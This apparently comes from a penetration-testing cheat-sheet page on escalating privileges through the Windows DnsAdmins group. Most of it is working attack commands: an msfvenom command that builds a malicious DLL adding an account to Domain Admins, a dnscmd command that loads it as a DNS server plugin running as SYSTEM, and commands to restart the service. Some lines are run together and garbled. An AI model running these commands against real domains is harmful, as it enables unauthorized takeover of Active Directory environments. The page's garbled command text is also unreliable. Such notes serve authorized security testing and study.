DnsAdmins
The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones
DNS service runs as NT AUTHORITY\SYSTEM
Create malicious dll:
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dllDownload file to target
Load dll as Member of DnsAdmins:
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dllStop dns service:
sc stop dnsornet stop dnsStart the service:
sc start dnsornet start dnnet group "Domain Admins" /domto check
Last updated
Was this helpful?